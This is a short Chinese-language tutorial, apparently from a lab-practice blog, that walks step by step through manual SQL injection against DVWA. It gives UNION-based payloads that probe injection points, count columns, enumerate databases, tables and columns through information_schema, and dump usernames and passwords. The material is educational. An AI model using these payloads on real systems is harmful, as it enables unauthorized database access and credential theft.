对于有提示,丝毫不加过滤的表单注入顺序如下:
一.探测是否有诸如点
常用的简单php处理语句有三类:
1.select *from … where id=’$input_data’
2.select *from … where id=$input_data
3. select *from … where id="$input_data"
对于这三种情况,需要输入三种数据进行探测
最常见的情况1,输入*1' or '1'='1*
情况2,输入*1 or 1=1*
情况3 ,输入1" or "1"="1
二.探测输入数据这个表单中的字段数
1' order by 3#
#号用于注释掉后面的句子,order by的意思是将结果按什么顺序进行排序,这里可以用于探测字段数,如果该表单字段数不足3,会报错,以这种方式逐步探测该表单字段数
三.探测数据库名
利用union 函数探测数据库名
1' union select 1,2,database()#`在这里插入代码片`
这里select 1,2 完全是为了凑数,取决于该表拥有的字段数,在这里假设的是该表内有三个字段,则在第三个字段处用database()方式获得数据库名。
下列步骤要用到mysql中自带的一个包含结构信息的数据库information_schema
四.探测数据库
输入 1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
来获取dvwa库中的表名,具体看下
tables表单中存有的信息,table_schema内存的是所有数据库名,table_name内存有数据库内表单名,用这种方式筛选某库中有的表单信息。
五,已知目标表单名后获取字段名
基本方法依然是利用information_schema,这时候要用到另一个表单columns
1' union select 1,column_name from information_schema.columns where table_name='users'#
该表单字段如下
六.已知字段名后获取各个字段的值(这一步已不再需要information_schema)
假设这里从users表里发现了userid,password字段。那么只需要一句sql语句就可以获得其中的值了
1' union select user,password from users#